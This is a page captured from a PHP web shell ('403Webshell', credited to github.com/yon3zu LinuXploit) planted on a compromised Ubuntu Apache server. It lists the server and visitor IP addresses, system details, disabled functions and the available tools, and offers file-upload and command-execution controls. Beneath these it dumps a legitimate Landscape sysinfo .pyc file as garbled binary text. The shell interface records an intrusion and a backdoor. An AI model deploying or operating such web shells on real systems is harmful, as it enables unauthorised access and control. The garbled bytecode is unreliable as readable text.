403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/landscape/sysinfo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pyc
ó
}9Rc@sïdZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZmZddl
mZddlmZmZd	d
ddd
dddgZdefd„ƒYZdd„Zdd„Zddd„ZdS(s%Deployment code for the sysinfo tool.iÿÿÿÿN(t	getLoggert	Formatter(tRotatingFileHandler(t
namedClass(tDeferredt
maybeDeferred(tBaseConfiguration(tSysInfoPluginRegistrytformat_sysinfotLoadtDisktMemorytTemperaturet	Processest
LoggedInUserst
LandscapeLinktNetworktSysInfoConfigurationcBsceZdZdZejƒdkr@eejjdƒf7ZndZd„Z	d„Z
d„ZRS(	s9Specialized configuration for the Landscape sysinfo tool.s/etc/landscape/client.confis~/.landscape/sysinfo.conftsysinfocCsatt|ƒjƒ}|jdddddƒ|jdddddƒdd	jtƒ|_|S(
sg
        Specialize L{Configuration.make_parser}, adding any
        sysinfo-specific options.
        s--sysinfo-pluginstmetavartPLUGIN_LISTthelpsNComma-delimited list of sysinfo plugins to use. Default is to use all plugins.s--exclude-sysinfo-pluginsshComma-delimited list of sysinfo plugins to NOT use. This always take precedence over plugins to include.sDefault plugins: %ss, (tsuperRtmake_parsert
add_optiontjointALL_PLUGINStepilog(tselftparser((s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pyRscCs&g|jdƒD]}|jƒ^qS(Nt,(tsplittstrip(Rtplugin_spectx((s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pytget_plugin_names/scCs©|jdkrt}n|j|jƒ}|jdkrBg}n|j|jƒ}g|D]}||kr[|^q[}g|D]%}td|jƒ|fƒƒ^q€S(Nslandscape.sysinfo.%s.%s(tsysinfo_pluginstNoneRR#texclude_sysinfo_pluginsRtlower(RtincludetexcludeR"tpluginstplugin_name((s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pytget_plugins2s		%(s/etc/landscape/client.conf(t__name__t
__module__t__doc__tdefault_config_filenamestostgetuidtpatht
expandusertconfig_sectionRR#R,(((s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pyRs		cCs@|dkr<tjƒdkr'd}q<tjjdƒ}n|S(ss
    Work out the correct path to store logs in depending on the effective
    user id of the current process.
    is/var/log/landscapes~/.landscapeN(R%R1R2R3R4(t
landscape_dir((s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pytget_landscape_log_directoryAs
	cCs”t|ƒ}tdƒ}t|_tjj|ƒsCtj|ƒntjj|dƒ}t	|dd	ddƒ}|j
|ƒ|jtdƒƒdS(
Nslandscape-sysinfossysinfo.logtmaxBytesiôitbackupCountis'%(asctime)s %(levelname)-8s %(message)siÐ(
R7RtFalset	propagateR1R3tisdirtmkdirRRt
addHandlertsetFormatterR(R6tloggertlog_filenamethandler((s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pyt
setup_loggingNs		
cs	ytƒWn$tk
r1}tjd|ƒnXˆdkrJtƒ‰ntƒ}|j|ƒx!|jƒD]}ˆj	|ƒqmW‡fd†‰‡‡fd†‰ˆdk	rüt
ƒ‰ˆj‡‡fd†ƒ‡fd†}ˆj|ƒˆj
ƒn	ˆƒ‰ˆS(sQ
    @param reactor: The reactor to (optionally) run the sysinfo plugins in.
    sUnable to setup logging. %scs-tˆjƒˆjƒˆjƒddƒGHdS(Ntindents  (Rtget_headerst	get_notest
get_footnotes(tresult(R(s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pytshow_outputkscsˆjƒjˆƒS(N(truntaddCallback((RIR(s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pytrun_sysinfooscstˆƒjˆƒS(N(Rt
chainDeferred((tdoneRL(s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pyt<lambda>xscsˆjdˆjƒ|S(Ni(t	callLatertstop(RH(treactor(s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pytstop_reactorzsN(RCtIOErrortsystexitR%RRtloadR,taddRtcallWhenRunningtaddBothRJ(targsRRRtetconfigtpluginRS((RRRLRNRIRs@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pyRJ[s*	
	

	(R/R1RUtloggingRRtlogging.handlersRttwisted.python.reflectRttwisted.internet.deferRRtlandscape.deploymentRtlandscape.sysinfo.sysinfoRRRRR%R7RCRJ(((s@/usr/lib/python2.7/dist-packages/landscape/sysinfo/deployment.pyt<module>s/


Youez - 2016 - github.com/yon3zu
LinuXploit